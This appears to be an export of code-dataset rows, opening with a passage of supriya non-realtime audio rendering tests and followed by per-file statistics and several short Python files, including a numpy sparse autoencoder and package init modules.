session_two.to_lists() == [ [ 0.0, [ *d_recv_commands, ["/b_alloc", 0, 32768, 8], ["/b_read", 0, buffer_one_name, 0, -1, 0, 1], [ "/s_new", "42367b5102dfa250b301ec698b3bd6c4", 1000, 0, 0, "buffer_id", 0, ], [ "/s_new", "76abe8508565e1ca3dd243fe960a6945", 1001, 3, 1000, "multiplier", -1.0, ], ], ], [10.0, [["/n_free", 1000, 1001], ["/b_close", 0], ["/b_free", 0], [0]]], ] buffer_two_name = "session-a9bccd241b0e5b56d123924992fbdc05.aiff" assert session_three.to_lists() == [ [ 0.0, [ *d_recv_commands, ["/b_alloc", 0, 32768, 8], ["/b_read", 0, buffer_two_name, 0, -1, 0, 1], [ "/s_new", "42367b5102dfa250b301ec698b3bd6c4", 1000, 0, 0, "buffer_id", 0, ], [ "/s_new", "76abe8508565e1ca3dd243fe960a6945", 1001, 3, 1000, "multiplier", -0.5, ], ], ], [10.0, [["/n_free", 1000, 1001], ["/b_close", 0], ["/b_free", 0], [0]]], ] buffer_one_path = nonrealtime_paths.render_directory_path / buffer_one_name buffer_two_path = nonrealtime_paths.render_directory_path / buffer_two_name assert not buffer_one_path.exists() assert not buffer_two_path.exists() exit_code, _ = session_three.render( nonrealtime_paths.output_file_path, render_directory_path=nonrealtime_paths.render_directory_path, build_render_yml=True, ) pytest.helpers.assert_soundfile_ok(buffer_one_path, exit_code, 10.0, 44100, 8) assert pytest.helpers.sample_soundfile(buffer_one_path) == { 0.0: [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], 0.21: [0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25], 0.41: [0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5], 0.61: [0.75, 0.75, 0.75, 0.75, 0.75, 0.75, 0.75, 0.75], 0.81: [1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0], 0.99: [1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0], } pytest.helpers.assert_soundfile_ok(buffer_two_path, exit_code, 10.0, 44100, 8) assert pytest.helpers.sample_soundfile(buffer_two_path) == { 0.0: [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], 0.21: [-0.25, -0.25, -0.25, -0.25, -0.25, -0.25, -0.25, -0.25], 0.41: [-0.5, -0.5, -0.5, -0.5, -0.5, -0.5, -0.5, -0.5], 0.61: [-0.75, -0.75, -0.75, -0.75, -0.75, -0.75, -0.75, -0.75], 0.81: [-1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0], 0.99: [-1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0], } pytest.helpers.assert_soundfile_ok( nonrealtime_paths.output_file_path, exit_code, 10.0, 44100, 8 ) assert pytest.helpers.sample_soundfile(nonrealtime_paths.output_file_path) == { 0.0: [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], 0.21: [0.125, 0.125, 0.125, 0.125, 0.125, 0.125, 0.125, 0.125], 0.41: [0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25], 0.61: [0.375, 0.375, 0.375, 0.375, 0.375, 0.375, 0.375, 0.375], 0.81: [0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5], 0.99: [0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5], } assert nonrealtime_paths.render_yml_file_path.exists() with nonrealtime_paths.render_yml_file_path.open() as file_pointer: file_contents = uqbar.strings.normalize(file_pointer.read()) assert file_contents == uqbar.strings.normalize( """ render: session-5657353b9c5dcd1e807fb6bf9919e1f4 source: - session-a9bccd241b0e5b56d123924992fbdc05 - session-7b3f85710f19667f73f745b8ac8080a0 """ ) def test_08(nonrealtime_paths): """ Fanned Session DiskIn input and NRT input. """ session_one = pytest.helpers.make_test_session(multiplier=0.25) session_two = supriya.nonrealtime.Session(name="middle-session") session_three = supriya.nonrealtime.Session(name="outer-session") diskin_synthdef = pytest.helpers.build_diskin_synthdef(channel_count=8) with session_two.at(0): buffer_one = session_two.cue_soundfile(session_one, duration=10) buffer_two = session_two.cue_soundfile(session_one, duration=10) session_two.add_synth( synthdef=diskin_synthdef, buffer_id=buffer_one, duration=10 ) session_two.add_synth( synthdef=diskin_synthdef, buffer_id=buffer_two, duration=10 ) with session_three.at(0): buffer_one = session_three.cue_soundfile(session_one, duration=10) buffer_two = session_three.cue_soundfile(session_two, duration=10) session_three.add_synth( synthdef=diskin_synthdef, buffer_id=buffer_one, duration=10 ) session_three.add_synth( synthdef=diskin_synthdef, buffer_id=buffer_two, duration=10 ) assert session_one.to_lists() == [ [ 0.0, [ ["/d_recv", bytearray(pytest.helpers.build_dc_synthdef(8).compile())], ["/s_new", "b47278d408f17357f6b260ec30ea213d", 1000, 0, 0, "source", 0], ], ], [2.0, [["/n_set", 1000, "source", 0.0625]]], [4.0, [["/n_set", 1000, "source", 0.125]]], [6.0, [["/n_set", 1000, "source", 0.1875]]], [8.0, [["/n_set", 1000, "source", 0.25]]], [10.0, [["/n_free", 1000], [0]]], ] assert session_two.to_lists() == [ [ 0.0, [ ["/d_recv", bytearray(diskin_synthdef.compile())], ["/b_alloc", 0, 32768, 8], ["/b_alloc", 1, 32768, 8], [ "/b_read", 0, "session-c6d86f3d482a8bac1f7cc6650017da8e.aiff", 0, -1, 0, 1, ], [ "/b_read", 1, "session-c6d86f3d482a8bac1f7cc6650017da8e.aiff", 0, -1, 0, 1, ], [ "/s_new", "42367b5102dfa250b301ec698b3bd6c4", 1000, 0, 0, "buffer_id", 0, ], [ "/s_new", "42367b5102dfa250b301ec698b3bd6c4", 1001, 0, 0, "buffer_id", 1, ], ], ], [ 10.0, [ ["/n_free", 1000, 1001], ["/b_close", 0], ["/b_free", 0], ["/b_close", 1], ["/b_free", 1], [0], ], ], ] assert session_three.to_lists() == [ [ 0.0, [ ["/d_recv", bytearray(diskin_synthdef.compile())], ["/b_alloc", 0, 32768, 8], ["/b_alloc", 1, 32768, 8], [ "/b_read", 0, "session-c6d86f3d482a8bac1f7cc6650017da8e.aiff", 0, -1, 0, 1, ], [ "/b_read", 1, "session-81d02f16aff7797ca3ac041facb61b95.aiff", 0, -1, 0, 1, ], [ "/s_new", "42367b5102dfa250b301ec698b3bd6c4", 1000, 0, 0, "buffer_id", 0, ], [ "/s_new", "42367b5102dfa250b301ec698b3bd6c4", 1001, 0, 0, "buffer_id", 1, ], ], ], [ 10.0, [ ["/n_free", 1000, 1001], ["/b_close", 0], ["/b_free", 0], ["/b_close", 1], ["/b_free", 1], [0], ], ], ] session_one_path = nonrealtime_paths.render_directory_path.joinpath( "session-c6d86f3d482a8bac1f7cc6650017da8e.aiff" ) session_two_path = nonrealtime_paths.render_directory_path.joinpath( "session-81d02f16aff7797ca3ac041facb61b95.aiff" ) exit_code, _ = session_three.render( nonrealtime_paths.output_file_path, render_directory_path=nonrealtime_paths.render_directory_path, build_render_yml=True, ) pytest.helpers.assert_soundfile_ok(session_one_path, exit_code, 10.0, 44100, 8) assert pytest.helpers.sample_soundfile(session_one_path) == { 0.0: [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], 0.21: [0.0625, 0.0625, 0.0625, 0.0625, 0.0625, 0.0625, 0.0625, 0.0625], 0.41: [0.125, 0.125, 0.125, 0.125, 0.125, 0.125, 0.125, 0.125], 0.61: [0.1875, 0.1875, 0.1875, 0.1875, 0.1875, 0.1875, 0.1875, 0.1875], 0.81: [0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25], 0.99: [0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25], } pytest.helpers.assert_soundfile_ok(session_two_path, exit_code, 10.0, 44100, 8) assert pytest.helpers.sample_soundfile(session_two_path) == { 0.0: [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], 0.21: [0.125, 0.125, 0.125, 0.125, 0.125, 0.125, 0.125, 0.125], 0.41: [0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25], 0.61: [0.375, 0.375, 0.375, 0.375, 0.375, 0.375, 0.375, 0.375], 0.81: [0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5], 0.99: [0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5], } pytest.helpers.assert_soundfile_ok( nonrealtime_paths.output_file_path, exit_code, 10.0, 44100, 8 ) assert pytest.helpers.sample_soundfile(nonrealtime_paths.output_file_path) == { 0.0: [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], 0.21: [0.1875, 0.1875, 0.1875, 0.1875, 0.1875, 0.1875, 0.1875, 0.1875], 0.41: [0.375, 0.375, 0.375, 0.375, 0.375, 0.375, 0.375, 0.375], 0.61: [0.5625, 0.5625, 0.5625, 0.5625, 0.5625, 0.5625, 0.5625, 0.5625], 0.81: [0.75, 0.75, 0.75, 0.75, 0.75, 0.75, 0.75, 0.75], 0.99: [0.75, 0.75, 0.75, 0.75, 0.75, 0.75, 0.75, 0.75], } executable = os.environ.get("SCSYNTH_PATH", "scsynth") assert session_three.transcript == [ "Writing session-c6d86f3d482a8bac1f7cc6650017da8e.osc.", " Wrote session-c6d86f3d482a8bac1f7cc6650017da8e.osc.", "Rendering session-c6d86f3d482a8bac1f7cc6650017da8e.osc.", f" Command: {executable} -N session-c6d86f3d482a8bac1f7cc6650017da8e.osc _ session-c6d86f3d482a8bac1f7cc6650017da8e.aiff 44100 aiff int24", " Rendered session-c6d86f3d482a8bac1f7cc6650017da8e.osc with exit code 0.", "Writing session-81d02f16aff7797ca3ac041facb61b95.osc.", " Wrote session-81d02f16aff7797ca3ac041facb61b95.osc.", "Rendering session-81d02f16aff7797ca3ac041facb61b95.osc.", f" Command: {executable} -N session-81d02f16aff7797ca3ac041facb61b95.osc _ session-81d02f16aff7797ca3ac041facb61b95.aiff 44100 aiff int24", " Rendered session-81d02f16aff7797ca3ac041facb61b95.osc with exit code 0.", "Writing session-1d80bd5d7da1eb8c25d322aa85384513.osc.", " Wrote session-1d80bd5d7da1eb8c25d322aa85384513.osc.", "Rendering session-1d80bd5d7da1eb8c25d322aa85384513.osc.", f" Command: {executable} -N session-1d80bd5d7da1eb8c25d322aa85384513.osc _ session-1d80bd5d7da1eb8c25d322aa85384513.aiff 44100 aiff int24", " Rendered session-1d80bd5d7da1eb8c25d322aa85384513.osc with exit code 0.", "Writing output/render.yml.", " Wrote output/render.yml.", ] assert nonrealtime_paths.render_yml_file_path.exists() with nonrealtime_paths.render_yml_file_path.open() as file_pointer: file_contents = uqbar.strings.normalize(file_pointer.read()) assert file_contents == uqbar.strings.normalize( """ render: session-1d80bd5d7da1eb8c25d322aa85384513 source: - session-81d02f16aff7797ca3ac041facb61b95 - session-c6d86f3d482a8bac1f7cc6650017da8e """ ) def test_09(nonrealtime_paths): """ Non-session renderable NRT input. """ say = supriya.soundfiles.Say("Some text.") session = supriya.nonrealtime.Session(1, 1, input_=say) synthdef = pytest.helpers.build_multiplier_synthdef(1) with session.at(0): session.add_synth( synthdef=synthdef, duration=2, in_bus=session.audio_input_bus_group, out_bus=session.audio_output_bus_group, multiplier=0.5, ) assert session.to_lists() == [ [ 0.0, [ ["/d_recv", bytearray(synthdef.compile())], [ "/s_new", "85c1d1b6f6c9b59c042b53d39019b8f5", 1000, 0, 0, "in_bus", 1, "multiplier", 0.5, "out_bus", 0, ], ], ], [2.0, [["/n_free", 1000], [0]]], ] exit_code, _ = session.render( nonrealtime_paths.output_file_path, render_directory_path=nonrealtime_paths.render_directory_path, build_render_yml=True, ) assert nonrealtime_paths.render_yml_file_path.exists() with nonrealtime_paths.render_yml_file_path.open() as file_pointer: file_contents = uqbar.strings.normalize(file_pointer.read()) assert file_contents == uqbar.strings.normalize( """ render: session-ea2ca28c15208db4fce5eb184d0b9257 source: - say-5f2b51ca2fdc5baa31ec02e002f69aec """ ) def test_10(nonrealtime_paths): """ Non-session renderable DiskIn input. """ say = supriya.soundfiles.Say("Some text.") session = supriya.nonrealtime.Session(0, 1) synthdef = pytest.helpers.build_diskin_synthdef(channel_count=1) with session.at(0): buffer_ = session.cue_soundfile(say, duration=2) session.add_synth(synthdef=synthdef, buffer_id=buffer_, duration=2) assert session.to_lists() == [ [ 0.0, [ ["/d_recv", bytearray(synthdef.compile())], ["/b_alloc", 0, 32768, 1], [ "/b_read", 0, "say-5f2b51ca2fdc5baa31ec02e002f69aec.aiff", 0, -1, 0, 1, ], [ "/s_new", "9c69c44ff72c62dfa4c2f0a0e99f05ce", 1000, 0, 0, "buffer_id", 0, ], ], ], [2.0, [["/n_free", 1000], ["/b_close", 0], ["/b_free", 0], [0]]], ] exit_code, _ = session.render( nonrealtime_paths.output_file_path, render_directory_path=nonrealtime_paths.render_directory_path, build_render_yml=True, ) assert nonrealtime_paths.render_yml_file_path.exists() with nonrealtime_paths.render_yml_file_path.open() as file_pointer: file_contents = uqbar.strings.normalize(file_pointer.read()) assert file_contents == uqbar.strings.normalize( """ render: session-96c65c92f6d0d0bbb08d85720d16a383 source: - say-5f2b51ca2fdc5baa31ec02e002f69aec """ ) def test_11(nonrealtime_paths): """ Chained session and non-session inputs. """ multiplier_synthdef = pytest.helpers.build_multiplier_synthdef(1) diskin_synthdef = pytest.helpers.build_diskin_synthdef(channel_count=1) say = supriya.soundfiles.Say("Some text.") session_one = supriya.nonrealtime.Session(1, 1, input_=say) with session_one.at(0): session_one.add_synth( synthdef=multiplier_synthdef, duration=2, in_bus=session_one.audio_input_bus_group, out_bus=session_one.audio_output_bus_group, multiplier=0.5, ) session_two = supriya.nonrealtime.Session(1, 1, input_=session_one) with session_two.at(0): session_two.add_synth( synthdef=multiplier_synthdef, duration=2, in_bus=session_two.audio_input_bus_group, out_bus=session_two.audio_output_bus_group, multiplier=-0.5, ) buffer_ = session_two.cue_soundfile(say, duration=2) session_two.add_synth(synthdef=diskin_synthdef, buffer_id=buffer_, duration=2) assert session_two.to_lists() == [ [ 0.0, [ ["/d_recv", bytearray(multiplier_synthdef.compile())], ["/d_recv", bytearray(diskin_synthdef.compile())], ["/b_alloc", 0, 32768, 1], [ "/b_read", 0, "say-5f2b51ca2fdc5baa31ec02e002f69aec.aiff", 0, -1, 0, 1, ], [ "/s_new", "85c1d1b6f6c9b59c042b53d39019b8f5", 1000, 0, 0, "in_bus", 1, "multiplier", -0.5, "out_bus", 0, ], [ "/s_new", "9c69c44ff72c62dfa4c2f0a0e99f05ce", 1001, 0, 0, "buffer_id", 0, ], ], ], [2.0, [["/n_free", 1000, 1001], ["/b_close", 0], ["/b_free", 0], [0]]], ] exit_code, _ = session_two.render( nonrealtime_paths.output_file_path, render_directory_path=nonrealtime_paths.render_directory_path, build_render_yml=True, ) assert nonrealtime_paths.render_yml_file_path.exists() with nonrealtime_paths.render_yml_file_path.open() as file_pointer: file_contents = uqbar.strings.normalize(file_pointer.read()) assert file_contents == uqbar.strings.normalize( """ render: session-9d80db1d391da3ab4f1cab54a0963d44 source: - session-ea2ca28c15208db4fce5eb184d0b9257 - say-5f2b51ca2fdc5baa31ec02e002f69aec """ )

38.210478

150

0.538138

5,294

41,573

4.030978

0.035323

0.033927

0.041893

0.052484

0.864855

0.841753

0.809841

0.779335

0.760309

0.73299

0

0.184318

0.322036

41,573

1,087

151

38.24563

0.572822

0.015876

0

0.683106

0

0.005247

0.122599

0.073677

0

0.099685

1

0.01469

false

0

0.008395

0

0.023085

0.005247

0

null

0

1

0

null

0

6

70a84457531caecb5cc4cc52ff5e2095569e0547

48

py

Python

lahja/tools/benchmark/__init__.py

gsalgado/lahja

53526e531e8efac0924bbfe28ddcda226044aee7

[ "MIT" ]

400

2018-08-30T13:01:01.000Z

2022-02-24T01:49:47.000Z

lahja/tools/benchmark/__init__.py

gsalgado/lahja

53526e531e8efac0924bbfe28ddcda226044aee7

[ "MIT" ]

122

2018-08-30T14:59:34.000Z

2020-08-05T22:11:07.000Z

lahja/tools/benchmark/__init__.py

lithp/lahja

595a0f52ff825e12ecf244b80dd73e1a88e71d54

[ "MIT" ]

22

2018-09-12T15:50:40.000Z

2022-03-28T18:51:29.000Z

from .stats import LocalStatistic # noqa: F401

24

47

0.770833

6

48

6.166667

1

0

0.075

0.166667

48

1

48

0.85

0.208333

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

3b1fcee3a756c463a6e129c317223801c57f0913

7,575

py

Python

sparse_autoencoder.py

kaixinhuaihuai/ufldl_tutorial

8e4a6724342dfd4cd3a8211f60b6ef9a4137e5ce

[ "MIT" ]

595

2015-01-06T06:59:39.000Z

2022-03-30T11:56:56.000Z

sparse_autoencoder.py

493238731/ufldl_tutorial

8e4a6724342dfd4cd3a8211f60b6ef9a4137e5ce

[ "MIT" ]

8

2015-02-23T23:41:21.000Z

2018-12-11T15:53:22.000Z

sparse_autoencoder.py

493238731/ufldl_tutorial

8e4a6724342dfd4cd3a8211f60b6ef9a4137e5ce

[ "MIT" ]

334

2015-01-05T01:39:15.000Z

2021-12-21T10:19:55.000Z

import numpy as np def sigmoid(x): return 1 / (1 + np.exp(-x)) def sigmoid_prime(x): return sigmoid(x) * (1 - sigmoid(x)) def KL_divergence(x, y): return x * np.log(x / y) + (1 - x) * np.log((1 - x) / (1 - y)) def initialize(hidden_size, visible_size): # we'll choose weights uniformly from the interval [-r, r] r = np.sqrt(6) / np.sqrt(hidden_size + visible_size + 1) W1 = np.random.random((hidden_size, visible_size)) * 2 * r - r W2 = np.random.random((visible_size, hidden_size)) * 2 * r - r b1 = np.zeros(hidden_size, dtype=np.float64) b2 = np.zeros(visible_size, dtype=np.float64) theta = np.concatenate((W1.reshape(hidden_size * visible_size), W2.reshape(hidden_size * visible_size), b1.reshape(hidden_size), b2.reshape(visible_size))) return theta # visible_size: the number of input units (probably 64) # hidden_size: the number of hidden units (probably 25) # lambda_: weight decay parameter # sparsity_param: The desired average activation for the hidden units (denoted in the lecture # notes by the greek alphabet rho, which looks like a lower-case "p"). # beta: weight of sparsity penalty term # data: Our 64x10000 matrix containing the training data. So, data(:,i) is the i-th training example. # # The input theta is a vector (because minFunc expects the parameters to be a vector). # We first convert theta to the (W1, W2, b1, b2) matrix/vector format, so that this # follows the notation convention of the lecture notes. # Returns: (cost,gradient) tuple def sparse_autoencoder_cost(theta, visible_size, hidden_size, lambda_, sparsity_param, beta, data): # The input theta is a vector (because minFunc expects the parameters to be a vector). # We first convert theta to the (W1, W2, b1, b2) matrix/vector format, so that this # follows the notation convention of the lecture notes. W1 = theta[0:hidden_size * visible_size].reshape(hidden_size, visible_size) W2 = theta[hidden_size * visible_size:2 * hidden_size * visible_size].reshape(visible_size, hidden_size) b1 = theta[2 * hidden_size * visible_size:2 * hidden_size * visible_size + hidden_size] b2 = theta[2 * hidden_size * visible_size + hidden_size:] # Number of training examples m = data.shape[1] # Forward propagation z2 = W1.dot(data) + np.tile(b1, (m, 1)).transpose() a2 = sigmoid(z2) z3 = W2.dot(a2) + np.tile(b2, (m, 1)).transpose() h = sigmoid(z3) # Sparsity rho_hat = np.sum(a2, axis=1) / m rho = np.tile(sparsity_param, hidden_size) # Cost function cost = np.sum((h - data) ** 2) / (2 * m) + \ (lambda_ / 2) * (np.sum(W1 ** 2) + np.sum(W2 ** 2)) + \ beta * np.sum(KL_divergence(rho, rho_hat)) # Backprop sparsity_delta = np.tile(- rho / rho_hat + (1 - rho) / (1 - rho_hat), (m, 1)).transpose() delta3 = -(data - h) * sigmoid_prime(z3) delta2 = (W2.transpose().dot(delta3) + beta * sparsity_delta) * sigmoid_prime(z2) W1grad = delta2.dot(data.transpose()) / m + lambda_ * W1 W2grad = delta3.dot(a2.transpose()) / m + lambda_ * W2 b1grad = np.sum(delta2, axis=1) / m b2grad = np.sum(delta3, axis=1) / m # After computing the cost and gradient, we will convert the gradients back # to a vector format (suitable for minFunc). Specifically, we will unroll # your gradient matrices into a vector. grad = np.concatenate((W1grad.reshape(hidden_size * visible_size), W2grad.reshape(hidden_size * visible_size), b1grad.reshape(hidden_size), b2grad.reshape(visible_size))) return cost, grad def sparse_autoencoder(theta, hidden_size, visible_size, data): """ :param theta: trained weights from the autoencoder :param hidden_size: the number of hidden units (probably 25) :param visible_size: the number of input units (probably 64) :param data: Our matrix containing the training data as columns. So, data(:,i) is the i-th training example. """ # We first convert theta to the (W1, W2, b1, b2) matrix/vector format, so that this # follows the notation convention of the lecture notes. W1 = theta[0:hidden_size * visible_size].reshape(hidden_size, visible_size) b1 = theta[2 * hidden_size * visible_size:2 * hidden_size * visible_size + hidden_size] # Number of training examples m = data.shape[1] # Forward propagation z2 = W1.dot(data) + np.tile(b1, (m, 1)).transpose() a2 = sigmoid(z2) return a2 # visible_size: the number of input units (probably 64) # hidden_size: the number of hidden units (probably 25) # lambda_: weight decay parameter # sparsity_param: The desired average activation for the hidden units (denoted in the lecture # notes by the greek alphabet rho, which looks like a lower-case "p"). # beta: weight of sparsity penalty term # data: Our 64x10000 matrix containing the training data. So, data(:,i) is the i-th training example. # # The input theta is a vector (because minFunc expects the parameters to be a vector). # We first convert theta to the (W1, W2, b1, b2) matrix/vector format, so that this # follows the notation convention of the lecture notes. # Returns: (cost,gradient) tuple def sparse_autoencoder_linear_cost(theta, visible_size, hidden_size, lambda_, sparsity_param, beta, data): # The input theta is a vector (because minFunc expects the parameters to be a vector). # We first convert theta to the (W1, W2, b1, b2) matrix/vector format, so that this # follows the notation convention of the lecture notes. W1 = theta[0:hidden_size * visible_size].reshape(hidden_size, visible_size) W2 = theta[hidden_size * visible_size:2 * hidden_size * visible_size].reshape(visible_size, hidden_size) b1 = theta[2 * hidden_size * visible_size:2 * hidden_size * visible_size + hidden_size] b2 = theta[2 * hidden_size * visible_size + hidden_size:] # Number of training examples m = data.shape[1] # Forward propagation z2 = W1.dot(data) + np.tile(b1, (m, 1)).transpose() a2 = sigmoid(z2) z3 = W2.dot(a2) + np.tile(b2, (m, 1)).transpose() h = z3 # Sparsity rho_hat = np.sum(a2, axis=1) / m rho = np.tile(sparsity_param, hidden_size) # Cost function cost = np.sum((h - data) ** 2) / (2 * m) + \ (lambda_ / 2) * (np.sum(W1 ** 2) + np.sum(W2 ** 2)) + \ beta * np.sum(KL_divergence(rho, rho_hat)) # Backprop sparsity_delta = np.tile(- rho / rho_hat + (1 - rho) / (1 - rho_hat), (m, 1)).transpose() delta3 = -(data - h) delta2 = (W2.transpose().dot(delta3) + beta * sparsity_delta) * sigmoid_prime(z2) W1grad = delta2.dot(data.transpose()) / m + lambda_ * W1 W2grad = delta3.dot(a2.transpose()) / m + lambda_ * W2 b1grad = np.sum(delta2, axis=1) / m b2grad = np.sum(delta3, axis=1) / m # After computing the cost and gradient, we will convert the gradients back # to a vector format (suitable for minFunc). Specifically, we will unroll # your gradient matrices into a vector. grad = np.concatenate((W1grad.reshape(hidden_size * visible_size), W2grad.reshape(hidden_size * visible_size), b1grad.reshape(hidden_size), b2grad.reshape(visible_size))) return cost, grad

41.620879

113

0.648845

1,093

7,575

4.379689

0.137237

0.098183

0.099436

0.122833

0.883225

0.866722

0.854188

0.830374

0

0.033698

0.24

7,575

181

114

41.850829

0.797811

0.387327

0

0.679012

0

1

0.08642

false

0

0.012346

0.037037

0.185185

0

null

0

1

0

null

0

6

3b3fc9ed928bc126ca055a9b7063665f83738c27

182

py

Python

python/anyascii/_data/_1ec.py

casept/anyascii

d4f426b91751254b68eaa84c6cd23099edd668e6

[ "ISC" ]

null

python/anyascii/_data/_1ec.py

casept/anyascii

d4f426b91751254b68eaa84c6cd23099edd668e6

[ "ISC" ]

null

python/anyascii/_data/_1ec.py

casept/anyascii

d4f426b91751254b68eaa84c6cd23099edd668e6

[ "ISC" ]

null

b=' Rs'

182

0.016484

2

182

1.5

1

0

0.967033

182

1

182

0.5

0

0.972678

0

1

0

false

0

1

0

1

null

0

1

0

1

0

1

0

1

0

null

0

6

3b445befd9d54e0da3d6c58371274e2317e66812

141

py

Python

nisnap/__init__.py

jhuguetn/nisnap

b65201a28499dcd851dbf36b4ade6aff943b8702

[ "MIT" ]

null

nisnap/__init__.py

jhuguetn/nisnap

b65201a28499dcd851dbf36b4ade6aff943b8702

[ "MIT" ]

null

nisnap/__init__.py

jhuguetn/nisnap

b65201a28499dcd851dbf36b4ade6aff943b8702

[ "MIT" ]

null

__version__ = '0.3.7.post1' from nisnap import snap from nisnap import xnat from nisnap.snap import plot_segment __all__ = ['snap', 'xnat']

20.142857

36

0.751773

22

141

4.409091

0.590909

0.309278

0.329897

0

0.033058

0.141844

141

6

37

23.5

0.768595

0

0.134752

0

1

0

false

0

0.6

0

0.6

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

3b48046eec62193bdeb95a1a518c6ff840afcab8

42

py

Python

app/models/neural_one_layer/__init__.py

carbonpredict/carbonpredict

702c761287ce4e088ae1817a88958a438a3cc006

[ "MIT" ]

null

app/models/neural_one_layer/__init__.py

carbonpredict/carbonpredict

702c761287ce4e088ae1817a88958a438a3cc006

[ "MIT" ]

27

2020-06-11T11:00:15.000Z

2020-09-01T20:08:54.000Z

app/models/neural_one_layer/__init__.py

carbonpredict/carbonpredict

702c761287ce4e088ae1817a88958a438a3cc006

[ "MIT" ]

1

2020-07-23T09:08:06.000Z

from .impl import NeuralNetworkOneLayerFF

21

41

0.880952

4

42

9.25

1

0

0.095238

42

1

42

0.973684

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

3b58f4619f15e75c9f0ba542f13cdf9966224df7

48

py

Python

zxsegmentation/models/__init__.py

haofengsiji/zxsegmentation

5f8117b7104bea28792ef32e83e3820782bbced9

[ "Apache-2.0" ]

null

zxsegmentation/models/__init__.py

haofengsiji/zxsegmentation

5f8117b7104bea28792ef32e83e3820782bbced9

[ "Apache-2.0" ]

null

zxsegmentation/models/__init__.py

haofengsiji/zxsegmentation

5f8117b7104bea28792ef32e83e3820782bbced9

[ "Apache-2.0" ]

null

from .fcn_model import vgg16, fcn32, fcn16, fcn8

48

0.791667

8

48

4.625

1

0

0.166667

0.125

48

1

48

0.714286

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

8ec87da9506e40052e00884d12cf0bc44c26cc02

44

py

Python

torchexpo/nlp/__init__.py

torchexpo/torchexpo

88c875358e830065ee23f49f47d4995b5b2d3e3c

[ "Apache-2.0" ]

23

2020-09-08T05:08:46.000Z

2021-08-12T07:16:53.000Z

torchexpo/nlp/__init__.py

torchexpo/torchexpo

88c875358e830065ee23f49f47d4995b5b2d3e3c

[ "Apache-2.0" ]

1

2021-12-05T06:15:18.000Z

2021-12-20T08:10:19.000Z

torchexpo/nlp/__init__.py

torchexpo/torchexpo

88c875358e830065ee23f49f47d4995b5b2d3e3c

[ "Apache-2.0" ]

2

2021-01-12T06:10:53.000Z

2021-07-24T08:21:59.000Z

from torchexpo.nlp import sentiment_analysis

44

0.909091

6

44

6.5

1

0

0.068182

44

1

44

0.95122

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

8ecda2bff9d738154f77f5b226af2acd07e642e4

46

py

Python

WEEKS/CD_Sata-Structures/_RESOURCES/python-prac/mini-scripts/Python_random_Numbers.txt.py

webdevhub42/Lambda

b04b84fb5b82fe7c8b12680149e25ae0d27a0960

[ "MIT" ]

5

2021-06-02T23:44:25.000Z

2021-12-27T16:21:57.000Z

WEEKS/CD_Sata-Structures/_RESOURCES/python-prac/mini-scripts/Python_random_Numbers.txt.py

webdevhub42/Lambda

b04b84fb5b82fe7c8b12680149e25ae0d27a0960

[ "MIT" ]

22

2021-05-31T01:33:25.000Z

2021-10-18T18:32:39.000Z

WEEKS/CD_Sata-Structures/_RESOURCES/python-prac/mini-scripts/Python_random_Numbers.txt.py

webdevhub42/Lambda

b04b84fb5b82fe7c8b12680149e25ae0d27a0960

[ "MIT" ]

3

2021-06-19T03:37:47.000Z

2021-08-31T00:49:51.000Z

import random print(random.randrange(1, 10))

11.5

30

0.76087

7

46

5

0.857143

0

0.073171

0.108696

46

3

31

15.333333

0.780488

0

1

0

true

0

0.5

0

0.5

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

8ee9d9b0f9a4ea5f8552683462f90d52da39aea3

90

py

Python

tensor/main_module.py

hslee1539/GIS_GANs

6901c830b924e59fd06247247db3f925bab26583

[ "MIT" ]

null

tensor/main_module.py

hslee1539/GIS_GANs

6901c830b924e59fd06247247db3f925bab26583

[ "MIT" ]

null

tensor/main_module.py

hslee1539/GIS_GANs

6901c830b924e59fd06247247db3f925bab26583

[ "MIT" ]

null

from tensor.struct.tensor_module import Tensor from tensor.tostring_module import Tensor

22.5

46

0.866667

13

90

5.846154

0.461538

0.263158

0.473684

0

0.1

90

3

47

30

0.938272

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

d97eada3d7e3e909f80cf879b310862337d98ebe

63

py

Python

afqbrowser/__init__.py

dweiss044/AFQ-Browser

e4c47a88d9e179999d51045af6be65391f250f86

[ "BSD-3-Clause" ]

30

2017-02-10T13:12:09.000Z

2021-11-02T14:51:20.000Z

afqbrowser/__init__.py

dweiss044/AFQ-Browser

e4c47a88d9e179999d51045af6be65391f250f86

[ "BSD-3-Clause" ]

239

2016-09-21T22:16:25.000Z

2021-06-22T05:37:23.000Z

afqbrowser/__init__.py

dweiss044/AFQ-Browser

e4c47a88d9e179999d51045af6be65391f250f86

[ "BSD-3-Clause" ]

9

2016-10-10T21:15:22.000Z

2021-06-03T16:04:06.000Z

from .browser import * # noqa from .gh_pages import * # noqa

